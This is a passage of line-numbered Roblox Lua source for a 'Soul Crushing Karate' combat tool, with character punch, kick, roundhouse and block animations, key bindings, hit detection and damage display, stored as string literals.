| 2104 | local bg = Add.BG(torso) | |
| 2105 | ||
| 2106 | local bp = Add.BP(torso) | |
| 2107 | ||
| 2108 | bp.position = Orig.p | |
| 2109 | ||
| 2110 | local CF = ComputePos(Orig.p, MousePos) | |
| 2111 | ||
| 2112 | local CF2 = CF | |
| 2113 | ||
| 2114 | bg.cframe = CF2 | |
| 2115 | ||
| 2116 | startEff(TBricks[3][1]) | |
| 2117 | ||
| 2118 | attach() | |
| 2119 | ||
| 2120 | bp.position = CF * CFrame.new(0, 0, -1).p | |
| 2121 | ||
| 2122 | dmg = dmgs.Rdmg | |
| 2123 | ||
| 2124 | for i = 0, 180, 180/7 do | |
| 2125 | ||
| 2126 | neck.C0 = necko * CFrame.Angles(0, 0, math.rad(i/2)) | |
| 2127 | ||
| 2128 | RLW.C0 = CFrame.Angles(0, 0, 0) | |
| 2129 | ||
| 2130 | LLW.C0 = CFrame.Angles(0, 0, 0) | |
| 2131 | ||
| 2132 | RAW.C0 = CFrame.Angles(math.rad(i/5), 0, math.rad(i/10)) | |
| 2133 | ||
| 2134 | LAW.C0 = CFrame.Angles(math.rad(-i/5), 0, math.rad(-i/10)) | |
| 2135 | ||
| 2136 | CF2 = CF * CFrame.Angles(math.rad(i/5.8), math.rad(-i), 0) | |
| 2137 | ||
| 2138 | bg.cframe = CF2 | |
| 2139 | ||
| 2140 | wait() | |
| 2141 | ||
| 2142 | end | |
| 2143 | ||
| 2144 | slash:play() | |
| 2145 | ||
| 2146 | TBricks[3].hurt = true | |
| 2147 | ||
| 2148 | for i = 180, 180+90, 90/4 do | |
| 2149 | ||
| 2150 | neck.C0 = necko * CFrame.Angles(0, 0, math.rad((-i*2-180)-90)) | |
| 2151 | ||
| 2152 | RLW.C0 = CFrame.Angles(0, 0, math.rad((i*1.45)-(180*1.45))) * CFrame.new(0, (-i+180)/100, 0) | |
| 2153 | ||
| 2154 | LLW.C0 = CFrame.Angles(0, 0, math.rad((-i/3)+(180/3))) | |
| 2155 | ||
| 2156 | RAW.C0 = CFrame.Angles(math.rad(i/5), 0, math.rad(i/10)) | |
| 2157 | ||
| 2158 | LAW.C0 = CFrame.Angles(math.rad(-i/5), 0, math.rad(-i/10)) | |
| 2159 | ||
| 2160 | CF2 = CF * CFrame.Angles(math.rad(180/5.8), math.rad(-i), 0) | |
| 2161 | ||
| 2162 | bg.cframe = CF2 | |
| 2163 | ||
| 2164 | wait() | |
| 2165 | ||
| 2166 | end | |
| 2167 | ||
| 2168 | TBricks[3].hurt = false | |
| 2169 | ||
| 2170 | wait() | |
| 2171 | ||
| 2172 | for i = 270, 360, 90/5 do | |
| 2173 | ||
| 2174 | local a = i-270 | |
| 2175 | ||
| 2176 | neck.C0 = necko * CFrame.Angles(0, 0, math.rad(i)) | |
| 2177 | ||
| 2178 | RLW.C0 = CFrame.Angles(0, 0, math.rad((-a*1.1)-(180*1.45))) * CFrame.new(0, (a/100)+((-270+180)/100), 0) | |
| 2179 | ||
| 2180 | LLW.C0 = CFrame.Angles(0, 0, math.rad((a/3)-(90/3))) | |
| 2181 | ||
| 2182 | RAW.C0 = CFrame.Angles(math.rad(270/5-((a*3)/5)), 0, math.rad(270/10-((a*3)/10))) | |
| 2183 | ||
| 2184 | LAW.C0 = CFrame.Angles(math.rad(-270/5+((a*3)/5)), 0, math.rad(-270/10+((a*3)/10))) | |
| 2185 | ||
| 2186 | CF2 = CF * CFrame.Angles(math.rad((180/5.8)-((a*2)/5.8)), math.rad(-i), 0) | |
| 2187 | ||
| 2188 | bg.cframe = CF2 | |
| 2189 | ||
| 2190 | wait() | |
| 2191 | ||
| 2192 | end | |
| 2193 | ||
| 2194 | endEff() | |
| 2195 | ||
| 2196 | wait() | |
| 2197 | ||
| 2198 | nilparts() | |
| 2199 | ||
| 2200 | bg:remove() | |
| 2201 | ||
| 2202 | bp:remove() | |
| 2203 | ||
| 2204 | neck.C0 = necko | |
| 2205 | ||
| 2206 | end | |
| 2207 | ||
| 2208 | end, | |
| 2209 | ||
| 2210 | function(mouse) | |
| 2211 | ||
| 2212 | local Orig = torso.CFrame | |
| 2213 | ||
| 2214 | local MousePos = mouse.Hit.p | |
| 2215 | ||
| 2216 | local bg = Add.BG(torso) | |
| 2217 | ||
| 2218 | local bp = Add.BP(torso) | |
| 2219 | ||
| 2220 | bp.position = Orig.p | |
| 2221 | ||
| 2222 | local CF = ComputePos(Orig.p, MousePos) | |
| 2223 | ||
| 2224 | local CF2 = CF | |
| 2225 | ||
| 2226 | bg.cframe = CF2 | |
| 2227 | ||
| 2228 | startEff(TBricks[2][1]) | |
| 2229 | ||
| 2230 | attach() | |
| 2231 | ||
| 2232 | bp.position = CF * CFrame.new(0, 0, -0.8).p | |
| 2233 | ||
| 2234 | dmg = dmgs.Kardmg | |
| 2235 | ||
| 2236 | for i = 0, -45, -45/3 do | |
| 2237 | ||
| 2238 | neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i)) | |
| 2239 | ||
| 2240 | RLW.C0 = CFrame.Angles(0, 0, math.rad(-i/4)) | |
| 2241 | ||
| 2242 | LLW.C0 = CFrame.Angles(0, 0, math.rad(i/4)) | |
| 2243 | ||
| 2244 | RAW.C0 = CFrame.Angles(0, 0, math.rad(-i/3)) | |
| 2245 | ||
| 2246 | LAW.C0 = CFrame.Angles(math.rad(-i*4), 0, 0) | |
| 2247 | ||
| 2248 | CF2 = CF * CFrame.Angles(0, math.rad(i), 0) | |
| 2249 | ||
| 2250 | bg.cframe = CF2 | |
| 2251 | ||
| 2252 | wait() | |
| 2253 | ||
| 2254 | end | |
| 2255 | ||
| 2256 | TBricks[2].hurt = true | |
| 2257 | ||
| 2258 | bp.position = CF * CFrame.new(0, 0, -1.6).p | |
| 2259 | ||
| 2260 | slash:play() | |
| 2261 | ||
| 2262 | for i = -45, -110, -65/3 do | |
| 2263 | ||
| 2264 | neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i)) | |
| 2265 | ||
| 2266 | LAW.C0 = CFrame.Angles(math.rad(-45*4), 0, math.rad((i*2+110))) | |
| 2267 | ||
| 2268 | CF2 = CF * CFrame.Angles(0, math.rad(i), 0) | |
| 2269 | ||
| 2270 | bg.cframe = CF2 | |
| 2271 | ||
| 2272 | wait() | |
| 2273 | ||
| 2274 | end | |
| 2275 | ||
| 2276 | wait() | |
| 2277 | ||
| 2278 | TBricks[2].hurt = false | |
| 2279 | ||
| 2280 | for i = -110, 0, 110/4 do | |
| 2281 | ||
| 2282 | neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i)) | |
| 2283 | ||
| 2284 | LAW.C0 = CFrame.Angles(0, 0, math.rad(i) ) | |
| 2285 | ||
| 2286 | RAW.C0 = CFrame.Angles(0, 0, math.rad(-i/2/3)) | |
| 2287 | ||
| 2288 | RLW.C0 = CFrame.Angles(0, 0, math.rad(45/4-(((i/2)+45)/4))) | |
| 2289 | ||
| 2290 | LLW.C0 = CFrame.Angles(0, 0, math.rad(45/4+(((i/2)-45)/4))) | |
| 2291 | ||
| 2292 | CF2 = CF * CFrame.Angles(0, math.rad(i), 0) | |
| 2293 | ||
| 2294 | bg.cframe = CF2 | |
| 2295 | ||
| 2296 | wait() | |
| 2297 | ||
| 2298 | end | |
| 2299 | ||
| 2300 | endEff() | |
| 2301 | ||
| 2302 | wait() | |
| 2303 | ||
| 2304 | nilparts() | |
| 2305 | ||
| 2306 | bg:remove() | |
| 2307 | ||
| 2308 | bp:remove() | |
| 2309 | ||
| 2310 | neck.C0 = necko | |
| 2311 | ||
| 2312 | end | |
| 2313 | ||
| 2314 | } | |
| 2315 | ||
| 2316 | bloc = function(mouse) | |
| 2317 | ||
| 2318 | local hold = true | |
| 2319 | ||
| 2320 | local bg = Add.BG(nil) | |
| 2321 | ||
| 2322 | attach() | |
| 2323 | ||
| 2324 | RLW.Part1 = nil | |
| 2325 | ||
| 2326 | LLW.Part1 = nil | |
| 2327 | ||
| 2328 | slash:play() | |
| 2329 | ||
| 2330 | local duh = true | |
| 2331 | ||
| 2332 | block = true | |
| 2333 | ||
| 2334 | mouse.KeyUp:connect(function(k) | |
| 2335 | ||
| 2336 | k = k:lower() | |
| 2337 | ||
| 2338 | if duh == true and k == "t" then | |
| 2339 | ||
| 2340 | block = false | |
| 2341 | ||
| 2342 | duh = false | |
| 2343 | ||
| 2344 | hold = false | |
| 2345 | ||
| 2346 | end | |
| 2347 | ||
| 2348 | end) | |
| 2349 | ||
| 2350 | coroutine.resume(coroutine.create(function() | |
| 2351 | ||
| 2352 | for i = 0, 90, 90/7 do | |
| 2353 | ||
| 2354 | RAW.C0 = CFrame.new(-i/150, 0, -i/170) * CFrame.Angles(math.rad(i/1.1), 0, math.rad(-i/1.2)) | |
| 2355 | ||
| 2356 | LAW.C0 = CFrame.new(i/150, 0, -i/170) * CFrame.Angles(math.rad(i*1.25), 0, math.rad(i/1.5)) | |
| 2357 | ||
| 2358 | wait() | |
| 2359 | ||
| 2360 | end | |
| 2361 | ||
| 2362 | end)) | |
| 2363 | ||
| 2364 | bg.Parent = torso | |
| 2365 | ||
| 2366 | while block and hold do | |
| 2367 | ||
| 2368 | wait() | |
| 2369 | ||
| 2370 | bg.cframe = ComputePos(torso.Position, mouse.Hit.p) | |
| 2371 | ||
| 2372 | end | |
| 2373 | ||
| 2374 | for i = 90, 0, -90/7 do | |
| 2375 | ||
| 2376 | RAW.C0 = CFrame.new(-i/150, 0, -i/170) * CFrame.Angles(math.rad(i/1.1), 0, math.rad(-i/1.2)) | |
| 2377 | ||
| 2378 | LAW.C0 = CFrame.new(i/150, 0, -i/170) * CFrame.Angles(math.rad(i*1.25), 0, math.rad(i/1.5)) | |
| 2379 | ||
| 2380 | wait() | |
| 2381 | ||
| 2382 | end | |
| 2383 | ||
| 2384 | nilparts() | |
| 2385 | ||
| 2386 | bg:remove() | |
| 2387 | ||
| 2388 | neck.C0 = necko | |
| 2389 | ||
| 2390 | end | |
| 2391 | ||
| 2392 | function select(mouse) | |
| 2393 | ||
| 2394 | mouse.Button1Down:connect(function() | |
| 2395 | ||
| 2396 | if able then | |
| 2397 | ||
| 2398 | able = false | |
| 2399 | ||
| 2400 | attacks[1](mouse) | |
| 2401 | ||
| 2402 | attacks[2](mouse) | |
| 2403 | ||
| 2404 | attacks[3](mouse) | |
| 2405 | ||
| 2406 | attacks[4](mouse) | |
| 2407 | ||
| 2408 | attacks[5](mouse) | |
| 2409 | ||
| 2410 | able = true | |
| 2411 | ||
| 2412 | end | |
| 2413 | ||
| 2414 | end) | |
| 2415 | ||
| 2416 | mouse.KeyDown:connect(function(key) | |
| 2417 | ||
| 2418 | key = key:lower() | |
| 2419 | ||
| 2420 | if able then | |
| 2421 | ||
| 2422 | if key == "q" then | |
| 2423 | ||
| 2424 | able = false | |
| 2425 | ||
| 2426 | attacks[2](mouse) | |
| 2427 | ||
| 2428 | able = true | |
| 2429 | ||
| 2430 | elseif key == "e" then | |
| 2431 | ||
| 2432 | able = false | |
| 2433 | ||
| 2434 | attacks[1](mouse) | |
| 2435 | ||
| 2436 | able = true | |
| 2437 | ||
| 2438 | elseif key == "r" then | |
| 2439 | ||
| 2440 | able = false | |
| 2441 | ||
| 2442 | attacks[3](mouse) | |
| 2443 | ||
| 2444 | able = true | |
| 2445 | ||
| 2446 | elseif key == "f" then | |
| 2447 | ||
| 2448 | able = false | |
| 2449 | ||
| 2450 | attacks[4](mouse) | |
| 2451 | ||
| 2452 | able = true | |
| 2453 | ||
| 2454 | elseif key == "g" then | |
| 2455 | ||
| 2456 | able = false | |
| 2457 | ||
| 2458 | attacks[5](mouse) | |
| 2459 | ||
| 2460 | able = true | |
| 2461 | ||
| 2462 | elseif key == "t" then | |
| 2463 | ||
| 2464 | able = false | |
| 2465 | ||
| 2466 | bloc(mouse) | |
| 2467 | ||
| 2468 | able = true | |
| 2469 | ||
| 2470 | elseif key == "z" then | |
| 2471 | ||
| 2472 | able = false | |
| 2473 | ||
| 2474 | holdkey = true | |
| 2475 | ||
| 2476 | while holdkey do | |
| 2477 | ||
| 2478 | attacks[math.random(1,#attacks)](mouse) | |
| 2479 | ||
| 2480 | end | |
| 2481 | ||
| 2482 | able = true | |
| 2483 | ||
| 2484 | end | |
| 2485 | ||
| 2486 | end | |
| 2487 | ||
| 2488 | end) | |
| 2489 | ||
| 2490 | mouse.KeyUp:connect(function(key) | |
| 2491 | ||
| 2492 | key = key:lower() | |
| 2493 | ||
| 2494 | if key == "z" then | |
| 2495 | ||
| 2496 | holdkey = false | |
| 2497 | ||
| 2498 | end | |
| 2499 | ||
| 2500 | end) | |
| 2501 | ||
| 2502 | end | |
| 2503 | ||
| 2504 | if script.Parent.className ~= "HopperBin" then | |
| 2505 | ||
| 2506 | h = Instance.new("HopperBin",me.Backpack)
| |
| 2507 | ||
| 2508 | h.Name = "Soul Crushing Karate" | |
| 2509 | ||
| 2510 | script.Parent = h | |
| 2511 | ||
| 2512 | end | |
| 2513 | ||
| 2514 | bin = script.Parent | |
| 2515 | ||
| 2516 | bin.Selected:connect(select) | |
| 2517 | ||
| 2518 | end) | |
| 2519 | ]] | |
| 2520 | Karate = [[ | |
| 2521 | ||
| 2522 | Plrs = game:GetService("Players")
| |
| 2523 | ||
| 2524 | me = Plrs.LocalPlayer | |
| 2525 | ||
| 2526 | char = me.Character | |
| 2527 | ||
| 2528 | Modelname = "SoulKarate" | |
| 2529 | ||
| 2530 | dmgs = {Pdmg = {7, 13, "Punch"}, Kdmg = {10, 19, "Kick"}, K2dmg = {12, 16, "Doublekick"}, Rdmg = {16, 23, "RoundHouse"},
| |
| 2531 | ||
| 2532 | Kardmg = {8, 15, "Karate"}}
| |
| 2533 | ||
| 2534 | dmg = dmgs.Pdmg | |
| 2535 | ||
| 2536 | Surfaces = {"FrontSurface", "BackSurface", "TopSurface", "BottomSurface", "LeftSurface", "RightSurface"}
| |
| 2537 | ||
| 2538 | necko = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) | |
| 2539 | ||
| 2540 | able = true | |
| 2541 | ||
| 2542 | block = false | |
| 2543 | ||
| 2544 | breakblock = 19 | |
| 2545 | ||
| 2546 | holdkey = false | |
| 2547 | ||
| 2548 | effectOn = false | |
| 2549 | ||
| 2550 | Add = {
| |
| 2551 | ||
| 2552 | Sphere = function(P) | |
| 2553 | ||
| 2554 | local m = Instance.new("SpecialMesh",P)
| |
| 2555 | ||
| 2556 | m.MeshType = "Sphere" | |
| 2557 | ||
| 2558 | return m | |
| 2559 | ||
| 2560 | end, | |
| 2561 | ||
| 2562 | BF = function(P) | |
| 2563 | ||
| 2564 | local bf = Instance.new("BodyForce",P)
| |
| 2565 | ||
| 2566 | bf.force = Vector3.new(0, P:GetMass()*187, 0) | |
| 2567 | ||
| 2568 | return bf | |
| 2569 | ||
| 2570 | end, | |
| 2571 | ||
| 2572 | BP = function(P) | |
| 2573 | ||
| 2574 | local bp = Instance.new("BodyPosition",P)
| |
| 2575 | ||
| 2576 | bp.maxForce = Vector3.new(math.huge, 0, math.huge) | |
| 2577 | ||
| 2578 | bp.P = 14000 | |
| 2579 | ||
| 2580 | return bp | |
| 2581 | ||
| 2582 | end, | |
| 2583 | ||
| 2584 | BG = function(P) | |
| 2585 | ||
| 2586 | local bg = Instance.new("BodyGyro",P)
| |
| 2587 | ||
| 2588 | bg.maxTorque = Vector3.new(math.huge, math.huge, math.huge) | |
| 2589 | ||
| 2590 | bg.P = 14000 | |
| 2591 | ||
| 2592 | return bg | |
| 2593 | ||
| 2594 | end | |
| 2595 | ||
| 2596 | } | |
| 2597 | ||
| 2598 | function Part(Parent, Anchor, Collide, Tran, Ref, Color, X, Y, Z, Break) | |
| 2599 | ||
| 2600 | local p = Instance.new("Part")
| |
| 2601 | ||
| 2602 | p.formFactor = "Custom" | |
| 2603 | ||
| 2604 | p.Anchored = Anchor | |
| 2605 | ||
| 2606 | p.CanCollide = Collide | |
| 2607 | ||
| 2608 | p.Transparency = Tran | |
| 2609 | ||
| 2610 | p.Reflectance = Ref | |
| 2611 | ||
| 2612 | p.BrickColor = BrickColor.new(Color) | |
| 2613 | ||
| 2614 | for _, Surf in pairs(Surfaces) do | |
| 2615 | ||
| 2616 | p[Surf] = "Smooth" | |
| 2617 | ||
| 2618 | end | |
| 2619 | ||
| 2620 | p.Size = Vector3.new(X, Y, Z) | |
| 2621 | ||
| 2622 | if Break then | |
| 2623 | ||
| 2624 | p:BreakJoints() | |
| 2625 | ||
| 2626 | else p:MakeJoints() end | |
| 2627 | ||
| 2628 | p.Parent = Parent | |
| 2629 | ||
| 2630 | return p | |
| 2631 | ||
| 2632 | end | |
| 2633 | ||
| 2634 | function Weld(p0, p1, x, y, z, a, b, c) | |
| 2635 | ||
| 2636 | local w = Instance.new("Weld")
| |
| 2637 | ||
| 2638 | w.Parent = p0 | |
| 2639 | ||
| 2640 | w.Part0 = p0 | |
| 2641 | ||
| 2642 | w.Part1 = p1 | |
| 2643 | ||
| 2644 | w.C1 = CFrame.new(x,y,z) * CFrame.Angles(a,b,c) | |
| 2645 | ||
| 2646 | return w | |
| 2647 | ||
| 2648 | end | |
| 2649 | ||
| 2650 | function ComputePos(pos1, pos2) | |
| 2651 | ||
| 2652 | local pos3 = Vector3.new(pos2.x, pos1.y, pos2.z) | |
| 2653 | ||
| 2654 | return CFrame.new(pos1, pos3) | |
| 2655 | ||
| 2656 | end | |
| 2657 | ||
| 2658 | function getHumanoid(c) | |
| 2659 | ||
| 2660 | local h = nil | |
| 2661 | ||
| 2662 | for i,v in pairs(c:children()) do | |
| 2663 | ||
| 2664 | if v:IsA("Humanoid") and c ~= char then
| |
| 2665 | ||
| 2666 | if v.Health > 0 then | |
| 2667 | ||
| 2668 | h = v | |
| 2669 | ||
| 2670 | end | |
| 2671 | ||
| 2672 | end | |
| 2673 | ||
| 2674 | end | |
| 2675 | ||
| 2676 | return h | |
| 2677 | ||
| 2678 | end | |
| 2679 | ||
| 2680 | function getHead(c, pos, m) | |
| 2681 | ||
| 2682 | local h = nil | |
| 2683 | ||
| 2684 | local n = nil | |
| 2685 | ||
| 2686 | t = c:findFirstChild("Torso")
| |
| 2687 | ||
| 2688 | if t ~= nil then | |
| 2689 | ||
| 2690 | n = t:findFirstChild("Neck")
| |
| 2691 | ||
| 2692 | end | |
| 2693 | ||
| 2694 | for i,v in pairs(c:children()) do | |
| 2695 | ||
| 2696 | if v.Name == "Head" then | |
| 2697 | ||
| 2698 | if (v.Position - pos).magnitude < m then | |
| 2699 | ||
| 2700 | h = v | |
| 2701 | ||
| 2702 | end | |
| 2703 | ||
| 2704 | end | |
| 2705 | ||
| 2706 | end | |
| 2707 | ||
| 2708 | return h, n | |
| 2709 | ||
| 2710 | end | |
| 2711 | ||
| 2712 | for i,v in pairs(char:children()) do | |
| 2713 | ||
| 2714 | if v.Name == Modelname then | |
| 2715 | ||
| 2716 | v:remove() | |
| 2717 | ||
| 2718 | end | |
| 2719 | ||
| 2720 | end | |
| 2721 | ||
| 2722 | torso = char.Torso | |
| 2723 | ||
| 2724 | neck = torso.Neck | |
| 2725 | ||
| 2726 | hum = char.Humanoid | |
| 2727 | ||
| 2728 | Rarm = char["Right Arm"] | |
| 2729 | ||
| 2730 | Larm = char["Left Arm"] | |
| 2731 | ||
| 2732 | Rleg = char["Right Leg"] | |
| 2733 | ||
| 2734 | Lleg = char["Left Leg"] | |
| 2735 | ||
| 2736 | LastHP = hum.Health | |
| 2737 | ||
| 2738 | function HpChange(newhp) | |
| 2739 | ||
| 2740 | if block and hum.Health > 0.1 then | |
| 2741 | ||
| 2742 | local dif = LastHP - newhp | |
| 2743 | ||
| 2744 | if dif > 0 then | |
| 2745 | ||
| 2746 | local h = LastHP - ((LastHP-newhp)/3) | |
| 2747 | ||
| 2748 | hum.Health = h | |
| 2749 | ||
| 2750 | wait() | |
| 2751 | ||
| 2752 | hum.Health = h | |
| 2753 | ||
| 2754 | end | |
| 2755 | ||
| 2756 | if dif > breakblock then | |
| 2757 | ||
| 2758 | block = false | |
| 2759 | ||
| 2760 | local a = Add.BP(torso) | |
| 2761 | ||
| 2762 | a.position = torso.Position | |
| 2763 | ||
| 2764 | local b = Add.BG(torso) | |
| 2765 | ||
| 2766 | b.cframe = CFrame.new(torso.Position, torso.CFrame * CFrame.new(0, 0, -5).p) | |
| 2767 | ||
| 2768 | wait(0.6) | |
| 2769 | ||
| 2770 | a:remove() | |
| 2771 | ||
| 2772 | b:remove() | |
| 2773 | ||
| 2774 | able = true | |
| 2775 | ||
| 2776 | end | |
| 2777 | ||
| 2778 | end | |
| 2779 | ||
| 2780 | LastHP = hum.Health | |
| 2781 | ||
| 2782 | end | |
| 2783 | ||
| 2784 | hum.HealthChanged:connect(HpChange) | |
| 2785 | ||
| 2786 | hc = Instance.new("Humanoid")
| |
| 2787 | ||
| 2788 | hc.Health = 0 | |
| 2789 | ||
| 2790 | hc.MaxHealth = 0 | |
| 2791 | ||
| 2792 | slash = Instance.new("Sound")
| |
| 2793 | ||
| 2794 | slash.SoundId = "rbxasset://sounds//swordslash.wav" | |
| 2795 | ||
| 2796 | slash.Volume = 0.8 | |
| 2797 | ||
| 2798 | slash.Pitch = 1.4 | |
| 2799 | ||
| 2800 | slash.Parent = Rarm | |
| 2801 | ||
| 2802 | hitsound = Instance.new("Sound")
| |
| 2803 | ||
| 2804 | hitsound.SoundId = "http://www.roblox.com/asset/?id=2801263" | |
| 2805 | ||
| 2806 | hitsound.Volume = 0.55 | |
| 2807 | ||
| 2808 | hitsound.Pitch = 2.1 | |
| 2809 | ||
| 2810 | hitsound.Parent = torso | |
| 2811 | ||
| 2812 | Mo = Instance.new("Model")
| |
| 2813 | ||
| 2814 | Mo.Name = Modelname | |
| 2815 | ||
| 2816 | RABrick = Part(Mo, false, false, 1, 0, "White", 0.1, 0.1, 0.1, true) | |
| 2817 | ||
| 2818 | LABrick = Part(Mo, false, false, 1, 0, "White", 0.1, 0.1, 0.1, true) | |
| 2819 | ||
| 2820 | RLBrick = Part(Mo, false, false, 1, 0, "White", 0.1, 0.1, 0.1, true) | |
| 2821 | ||
| 2822 | LLBrick = Part(Mo, false, false, 1, 0, "White", 0.1, 0.1, 0.1, true) | |
| 2823 | ||
| 2824 | RABW = Weld(torso, RABrick, -1.5, -0.5, 0, 0, 0, 0) | |
| 2825 | ||
| 2826 | LABW = Weld(torso, LABrick, 1.5, -0.5, 0, 0, 0, 0) | |
| 2827 | ||
| 2828 | RLBW = Weld(torso, RLBrick, -0.5, 1.2, 0, 0, 0, 0) | |
| 2829 | ||
| 2830 | LLBW = Weld(torso, LLBrick, 0.5, 1.2, 0, 0, 0, 0) | |
| 2831 | ||
| 2832 | RAW = Weld(RABrick, nil, 0, 0.5, 0, 0, 0, 0) | |
| 2833 | ||
| 2834 | LAW = Weld(LABrick, nil, 0, 0.5, 0, 0, 0, 0) | |
| 2835 | ||
| 2836 | RLW = Weld(RLBrick, nil, 0, 0.8, 0, 0, 0, 0) | |
| 2837 | ||
| 2838 | LLW = Weld(LLBrick, nil, 0, 0.8, 0, 0, 0, 0) | |
| 2839 | ||
| 2840 | TBricks = {}
| |
| 2841 | ||
| 2842 | for i, v in pairs({Rarm, Larm, Rleg, Lleg}) do
| |
| 2843 | ||
| 2844 | local p = Part(Mo, false, false, 1, 0, "White", 0.9, 0.9, 0.8, true) | |
| 2845 | ||
| 2846 | Weld(v, p, 0, 0.7, 0, 0, 0, 0) | |
| 2847 | ||
| 2848 | table.insert(TBricks, {p, hurt = false, able = true})
| |
| 2849 | ||
| 2850 | end | |
| 2851 | ||
| 2852 | function startEff(part) | |
| 2853 | ||
| 2854 | effectOn = true | |
| 2855 | ||
| 2856 | local lastPoint = part.Position | |
| 2857 | ||
| 2858 | coroutine.resume(coroutine.create(function() | |
| 2859 | ||
| 2860 | while effectOn do | |
| 2861 | ||
| 2862 | wait() | |
| 2863 | ||
| 2864 | local mag = (lastPoint - part.Position).magnitude | |
| 2865 | ||
| 2866 | local p = Part(Mo, true, false, 0.2, 0.05, "Institutional white", 0.1, 0.1, mag+0.2, true) | |
| 2867 | ||
| 2868 | p.CFrame = CFrame.new(lastPoint, part.Position) * CFrame.new(0, 0, -mag/2) | |
| 2869 | ||
| 2870 | Instance.new("BlockMesh",p)
| |
| 2871 | ||
| 2872 | lastPoint = part.Position | |
| 2873 | ||
| 2874 | coroutine.resume(coroutine.create(function() | |
| 2875 | ||
| 2876 | for x=0.2,1,0.2 do | |
| 2877 | ||
| 2878 | wait() | |
| 2879 | ||
| 2880 | p.Transparency = x | |
| 2881 | ||
| 2882 | end | |
| 2883 | ||
| 2884 | p:remove() | |
| 2885 | ||
| 2886 | end)) | |
| 2887 | ||
| 2888 | end | |
| 2889 | ||
| 2890 | end)) | |
| 2891 | ||
| 2892 | end | |
| 2893 | ||
| 2894 | function endEff() | |
| 2895 | ||
| 2896 | effectOn = false | |
| 2897 | ||
| 2898 | end | |
| 2899 | ||
| 2900 | function ShowDMG(p, d) | |
| 2901 | ||
| 2902 | local mo = Instance.new("Model")
| |
| 2903 | ||
| 2904 | mo.Name = d | |
| 2905 | ||
| 2906 | local pa = Part(mo, false, true, 0, 0, "Bright red", 0.8, 0.2, 0.8, true) | |
| 2907 | ||
| 2908 | pa.CFrame = CFrame.new(p.Position) | |
| 2909 | ||
| 2910 | pa.Name = "Head" | |
| 2911 | ||
| 2912 | local hah = hc:clone() | |
| 2913 | ||
| 2914 | hah.Parent = mo | |
| 2915 | ||
| 2916 | local bp = Add.BP(pa) | |
| 2917 | ||
| 2918 | bp.maxForce = Vector3.new(math.huge, math.huge, math.huge) | |
| 2919 | ||
| 2920 | bp.position = p.Position + Vector3.new(0, 2.5, 0) | |
| 2921 | ||
| 2922 | Add.BG(pa) | |
| 2923 | ||
| 2924 | coroutine.resume(coroutine.create(function() | |
| 2925 | ||
| 2926 | wait(0.2) | |
| 2927 | ||
| 2928 | mo.Parent = workspace | |
| 2929 | ||
| 2930 | wait(1.5) | |
| 2931 | ||
| 2932 | mo:remove() | |
| 2933 | ||
| 2934 | end)) | |
| 2935 | ||
| 2936 | end | |
| 2937 | ||
| 2938 | for i, v in pairs(TBricks) do | |
| 2939 | ||
| 2940 | v[1].Touched:connect(function(hit) | |
| 2941 | ||
| 2942 | local fig = hit.Parent | |
| 2943 | ||
| 2944 | H, T = getHumanoid(fig), fig:findFirstChild("Torso")
| |
| 2945 | ||
| 2946 | if H ~= nil and T ~= nil and v.hurt and v.able then | |
| 2947 | ||
| 2948 | hitsound:play() | |
| 2949 | ||
| 2950 | v.able = false | |
| 2951 | ||
| 2952 | local d = math.random(dmg[1], dmg[2]) | |
| 2953 | ||
| 2954 | local hed, ne = getHead(fig, v[1].Position, 2.5) | |
| 2955 | ||
| 2956 | if dmg[3] == "RoundHouse" and hed ~= nil then | |
| 2957 | ||
| 2958 | d = math.random(dmg[1]*2.4, dmg[2]*2.4) | |
| 2959 | ||
| 2960 | coroutine.resume(coroutine.create(function() | |
| 2961 | ||
| 2962 | if ne ~= nil then | |
| 2963 | ||
| 2964 | for i=0,60,20 do | |
| 2965 | ||
| 2966 | ne.C0 = necko * CFrame.Angles(math.rad(-i), 0, 0) | |
| 2967 | ||
| 2968 | wait() | |
| 2969 | ||
| 2970 | end | |
| 2971 | ||
| 2972 | for i=60,0,-20 do | |
| 2973 | ||
| 2974 | ne.C0 = necko * CFrame.Angles(math.rad(-i), 0, 0) | |
| 2975 | ||
| 2976 | wait() | |
| 2977 | ||
| 2978 | end | |
| 2979 | ||
| 2980 | ne.C0 = necko | |
| 2981 | ||
| 2982 | end | |
| 2983 | ||
| 2984 | end)) | |
| 2985 | ||
| 2986 | end | |
| 2987 | ||
| 2988 | H.Health = H.Health - d | |
| 2989 | ||
| 2990 | local xd = CFrame.new(v[1].Position, hit.Position) | |
| 2991 | ||
| 2992 | hit.Velocity = xd.lookVector * (d*2.3) | |
| 2993 | ||
| 2994 | ShowDMG(v[1], d) | |
| 2995 | ||
| 2996 | wait(0.34) | |
| 2997 | ||
| 2998 | v.able = true | |
| 2999 | ||
| 3000 | end | |
| 3001 | ||
| 3002 | end) | |
| 3003 | ||
| 3004 | end | |
| 3005 | ||
| 3006 | Mo.Parent = char | |
| 3007 | ||
| 3008 | RAWBattle = nil | |
| 3009 | ||
| 3010 | LAWBattle = nil | |
| 3011 | ||
| 3012 | function nilparts() | |
| 3013 | ||
| 3014 | LAW.Part1 = nil | |
| 3015 | ||
| 3016 | RAW.Part1 = nil | |
| 3017 | ||
| 3018 | RLW.Part1 = nil | |
| 3019 | ||
| 3020 | LLW.Part1 = nil | |
| 3021 | ||
| 3022 | LAW.C0 = CFrame.new(0, 0, 0) | |
| 3023 | ||
| 3024 | RLW.C0 = CFrame.new(0, 0, 0) | |
| 3025 | ||
| 3026 | LLW.C0 = CFrame.new(0, 0, 0) | |
| 3027 | ||
| 3028 | RAW.C0 = CFrame.new(0, 0, 0) | |
| 3029 | ||
| 3030 | end | |
| 3031 | ||
| 3032 | function attach() | |
| 3033 | ||
| 3034 | LAW.Part1 = Larm | |
| 3035 | ||
| 3036 | RLW.Part1 = Rleg | |
| 3037 | ||
| 3038 | LLW.Part1 = Lleg | |
| 3039 | ||
| 3040 | RAW.Part1 = Rarm | |
| 3041 | ||
| 3042 | LAW.C0 = CFrame.new(0, 0, 0) | |
| 3043 | ||
| 3044 | RLW.C0 = CFrame.new(0, 0, 0) | |
| 3045 | ||
| 3046 | LLW.C0 = CFrame.new(0, 0, 0) | |
| 3047 | ||
| 3048 | RAW.C0 = CFrame.new(0, 0, 0) | |
| 3049 | ||
| 3050 | end | |
| 3051 | ||
| 3052 | attacks = {
| |
| 3053 | ||
